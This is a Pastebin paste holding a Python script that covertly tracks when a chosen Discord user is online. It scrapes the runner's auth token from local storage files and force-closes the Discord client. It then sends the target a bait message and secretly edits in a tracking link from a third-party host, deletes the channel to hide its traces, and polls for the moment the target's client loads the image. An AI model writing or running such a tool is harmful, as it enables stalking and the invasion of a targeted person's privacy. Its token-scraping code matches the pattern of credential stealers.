Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- """
- Title: Discord Online-Status Tracker
- Author: h0nda (twitter.com/h0nde)
- Release Date: 2019-06-02
- Description:
- This project abuses the fact that embedded image links don't get cached when a message is sent,
- only after it is visited by client.
- We can abuse this to track when a target's discord client processes a message, which can tell us
- if a target is online or not.
- Note:
- This project doesn't tell you when a target actually read your message, it just tells when it
- was processed by their device.
- You can avoid getting tracked by turning off the setting "When posted as links to chat." at
- Discord Client -> Settings -> Text & Images.
- """
- import os
- import random
- import glob
- import re
- import time
- from datetime import datetime
- import requests
- import subprocess
- try: input = raw_input
- except NameError: pass
- # attempt to find discord token from local db files
- token = None
- for fpath in glob.glob(os.getenv("APPDATA")+"\\Discord\\Local Storage\\leveldb\\*.ldb"):
- try:
- with open(fpath, errors="ignore") as f:
- token_match = re.search("\"([a-zA-Z0-9\-]*\.[a-zA-Z0-9\-]*\.[a-zA-Z0-9\-]*)\"", f.read())
- if token_match:
- token = token_match.group(1)
- break
- except: pass
- if not token: exit(print("Your authentication token could not be found. Make sure you are logged into Discord Client and try again."))
- class Discord:
- def __init__(self, token):
- self.session = requests.Session()
- self.session.headers["Authorization"] = token
- self.session.headers["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) discord/0.0.305 Chrome/69.0.3497.128 Electron/4.0.8 Safari/537.36"
- self.get_self_info()
- def get_self_info(self):
- self.info = self.session.get("https://discordapp.com/api/v6/users/@me").json()
- def create_trap_url(self):
- resp = requests.get(
- url="http://t.rbxtools.com/?create"
- )
- return resp.json()
- def get_dm_channel_id(self, user_id):
- resp = self.session.post(
- url="https://discordapp.com/api/v6/users/"+str(self.info["id"])+"/channels",
- json={"recipients": [str(user_id)]}
- )
- resp.raise_for_status()
- return resp.json()["id"]
- def delete_channel(self, channel_id):
- resp = self.session.delete(
- url="https://discordapp.com/api/v6/channels/"+str(channel_id)
- )
- return 200 == resp.status_code
- def send_message(self, channel_id, body):
- resp = self.session.post(
- url="https://discordapp.com/api/v6/channels/"+str(channel_id)+"/messages",
- json={"content": body, "nonce": "".join([str(random.randint(0,9)) for _ in range(18)]), "tts": False}
- )
- resp.raise_for_status()
- return resp.json()["id"]
- def edit_message(self, channel_id, msg_id, body):
- resp = self.session.patch(
- url="https://discordapp.com/api/v6/channels/"+str(channel_id)+"/messages/"+str(msg_id),
- json={"content": body}
- )
- return 200 == resp.status_code
- target_uid = input("Target User ID: ")
- msg_body = input("Enter your 'bait' message: ")
- # le deprecated laziness has arrived
- # make sure we don't accidentally load the trap image ourselves
- os.system("taskkill /f /t /im Discord.exe > nul 2> nul")
- session = Discord(token)
- target_cid = session.get_dm_channel_id(target_uid)
- trap = session.create_trap_url()
- if "error" in trap:
- print("Error while creating trap link:", trap["error"])
- exit()
- # send message without link to avoid it showing up on notification
- bait_msg = session.send_message(target_cid, msg_body)
- # edit message to add link
- session.edit_message(target_cid, bait_msg, msg_body+"\n"+trap["url"])
- # make sure we don't accidentally load the trap image ourselves
- session.delete_channel(target_cid)
- subprocess.Popen([glob.glob(os.getenv("LOCALAPPDATA")+r"\\Discord\app*")[0]+r"\Discord.exe"], shell=False, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
- print("\nBait message has been sent to target user. Do not re-open your DM channel with the target user or the tracking will fail.")
- print("You'll be notified of when the message was viewed below:\n")
- # wait until link is visited
- while 1!=time.sleep(1):
- try:
- status = requests.get(trap["stats_url"]).json()
- if status["views"] > 1:
- print("Message", "'"+msg_body+"'", "was viewed at", datetime.fromtimestamp(status["last_visit"]).strftime("%Y-%m-%d %H:%M:%S"), "\a")
- target_cid = session.get_dm_channel_id(target_uid)
- session.edit_message(target_cid, bait_msg, msg_body)
- session.delete_channel(target_cid)
- break
- except Exception as error: pass
- while 1!=time.sleep(5): pass
Add Comment
Please, Sign In to add comment